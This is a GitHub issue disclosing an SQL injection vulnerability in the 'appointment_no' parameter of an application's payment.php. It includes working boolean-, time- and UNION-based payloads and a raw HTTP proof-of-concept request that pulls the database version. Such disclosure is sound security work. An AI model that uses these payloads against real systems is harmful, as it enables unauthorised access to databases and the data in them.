Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL Injection vulnerability via "appointment_no" parameter in payment.php #5

Open
khanhchauminh opened this issue Nov 8, 2021 · 0 comments

Comments

@khanhchauminh
Copy link

Author

KhanhCM (@khanhchauminh)

Version: 1.0

Steps to reproduce

  1. Go to Staff Login page
  2. Login with User Type = Clerk
  3. In the All Appointments page, click on a record in the list
  4. Intercept the request and insert the payload in the value of the appointment_no parameter.
  5. Forward the request

Example payloads:

  • Boolean-based
(SELECT (CASE WHEN (4898=4898) THEN 62 ELSE (SELECT 2503 UNION SELECT 1057) END))
  • Time-based
1 AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) 
  • UNION-based
1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7e,(version()),0),NULL-- - 

Proof-of-concept

GET /payment.php?appointment_no=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT(0x7e,(version()),0),NULL--%20-%20 HTTP/1.1
Host: 127.0.0.1:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8888/all_appointments.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fm1clgb18smbtthd68i37dsdrn
Connection: close


Response in Burpsuite

  • Time-based
    image

  • UNION-based
    image

Source code review

payment.php

image

library.php

image

Remediation

Validate input of the appointment_no parameter in payment.php.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant